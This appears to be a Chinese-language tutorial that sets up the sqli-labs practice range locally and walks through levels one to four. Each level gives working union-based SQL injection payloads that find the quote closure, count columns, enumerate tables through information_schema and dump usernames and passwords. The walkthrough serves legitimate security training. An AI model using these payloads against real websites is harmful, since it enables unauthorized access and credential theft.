用户须知
1.免责声明:本教程作者及相关参与人员对于任何直接或间接使用本教程内容而导致的任何形式的损失或损害,包括但不限于数据丢失、系统损坏、个人隐私泄露或经济损失等,不承担任何责任。所有使用本教程内容的个人或组织应自行承担全部风险。
综合传送门
前言
1. 更多教程请点击上面的公众hao(教程来源于公众hao,如下面教程有误差,欢迎大家进交流群反馈同时移步公众hao
2. 有不懂的问题,欢迎进交流群讨论,互相学习!
3. 教程中所用到的资源都在公众hao->资源获取->百度网盘
一.搭建靶场
1.打开github搜索sql-labs,如图
注意:由于GitHub官网服务器是国外的,部分地区打开很慢,需要国外的网络打开

2.点击打开

3.点击下载,解压到phpstudy根目录下的www文件夹下

注意:这里为什么我的名称是sql,没有你们那么长,是因为我重命名简写了,后面地址栏访问会很简单
4.打开sql下滑找到这个文件

5.用记事本打开配置sql-connections这个文件

注明:用户名和密码与phpstudy中的数据库对应

6.然后打开phpstudy打开这两个服务

7.然后浏览器打开,在地址栏输入127.0.0.1/sql 回车

点击图中圈的,首次搭建完后需要创建数据库
8.下滑即可进入关卡

9.如果遇到问题,大概率可能是php版本的问题可以更换版本再重启服务即可

靶场搭建完毕,接下来进入关卡
二.关卡
1.第一关
白盒分析:查看源代码

查看源代码得知
plain
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注意:对比第二关:id加了引号
黑盒测试
- 第一步判断是否存在SQL注入
我们输入
plain
?id=1

输入不同的id值有不同的变化表示存在SQL注入

- 判断类型
- 输入
plain
?id=1'

得知闭合是'
- 输入
plain
?id=1'--+

验证正确得知是字符型且存在SQL注入
- 第二步:判断有几个字段数
注明:order by:对结果集进行列排序
在地址栏输入
1 order by 3 ...1 order by 100发现都可以


- 分析问题查看命令
plain
$sql="SELECT * FROM users WHERE id='1 order by 3' LIMIT 0,1";
分析得知,传入命令被当做字符串处理了,应为有''
- 解决方法:思路:把执行的代码跳出',即自己加'和--+(绕过技巧)
plain
?id=1' order by 3 --+

- 注入后数据库执行命令如下
plain
$sql="SELECT * FROM users WHERE id='1 'order by 3--+' LIMIT 0,1";
没报错
- 改成order by 4报错,说明只有三个字段

- 第三步用union联合查询
注明:
- union查询可以select多条语句并用(只能select)可以显示没有的东西
- union:两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
- 展示空间不够前面会覆盖后面内容(所以接下来用-1,让前面命令执行不成功)
- database()为查询库名
plain
?id=-1' union select 1,database(),3 --+

得到库
- 第四步 查这个库中的表名
注明:
- MySQL自带Information_schema库
- Information_schema库里有两个特殊的表
- 表tables记录了库名和表名
- 表columns:库里面有什么表,表里面有什么字段
- table_schema:记录了所有库的库名
- table_name.记录了表
- column_name:记录了字段
plain
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+
- 也可以这样写
plain
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=security --+

其中一个表为emails
- 重复操作查询表名(只需要改LIMIT)
- LIMIT1,表示从第二行开始取,取一行

plain
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' LIMIT 1,1 --+
- 或者可以用group_concat()将查询到结果连接起来。(不建议用,数据太多由于前端代码限制,会展示不完全)
plain
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

- 查看字段名
plain
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

- 第六步得到敏感字段的内容
plain
?id=-1' union select 1,2,group_concat(username , password) from users--+

2****.第二关
- 第一步判断是否存在SQL注入原理同第一节
plain
?id=1

- 输入以下语句显示报错
plain
?id=1'

推断得知应该是数字型注入
- 第二步:判断有几个字段数
在地址栏输入
plain
?id=1 order by 3 //正确有显示
?id=1 order by 4 //报错

说明只有三个字段
- 第三步用union联合查询
- 输入
plain
?id=-1 union select 1,2,3

- 查询库名
plain
?id=-1 union select 1,database(),3

得到库名
- 第四步 查这个库中的表名
- 可以用group_concat()将查询到结果连接起来。(不建议用,数据太多由于前端代码限制,会展示不完全)
plain
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

得知四个表
- 第五步:查看字段名
plain
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

- 第六步:获取敏感字段下面的数据
plain
?id=-1 union select 1,2,group_concat(username,password) from users

3.第三关
- 第一步判断是否存在SQL注入
- 输入
?id=1?id=2...

两张不相同

- 输入
plain
?id=2' //探测以下什么类型

看到页面报错信息,可推断sql语句是单引号字符型且有括号
思路:所以我们需要闭合单引号而且也要考虑括号。
尝试注入
plain
?id=4')--+

正常:说明注入格式正确后续步骤按照此规则
- 第二步:判断有几个字段数
plain
?id=1') order by 3--+

plain
?id=1') order by 4--+

报错,推断只有三个字段数
- 第三步用union联合查询
plain
?id=-1') union select 1,2,3--+

- 查询库名
plain
?id=-1') union select 1,database(),3--+

得知库名为security
- 第四步 查这个库中的表名
plain
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

得知几个表名
- 第五步查看字段名
plain
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

- 第六步得到敏感字段的内容
plain
?id=-1') union select 1,2,group_concat(username,password) from users--+

- 感觉内容不容易看,加个id分割一下

4****.第四关
- 第一步判断是否存在SQL注入
?id=1?id=2...


存在SQL注入漏洞
- 输入
plain
?id=1' //探测以下什么类型

没异常
- 输入
plain
?id=1"

- 出现:'"1"") LIMIT 0,1'去除'变成"1"") LIMIT 0,1
- 判断闭合方式")
- 第二步:判断有几个字段数
plain
?id=1") order by 3--

plain
?id=1") order by 4--

报错,说明只有三个字段
- 第三步用union联合查询
plain
?id=-1") union select 1,2,3--+

- 查库名
plain
?id=-1") union select 1,database(),version()--+
注明:version()用于查看版本

- 也可以只查看库名
plain
?id=-1") union select 1,database(),3--+

- 第四步 查这个库中的表名
plain
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

得知四个表名
- 第五步查看字段名
plain
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

- 第六步得到敏感字段的内容
plain
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
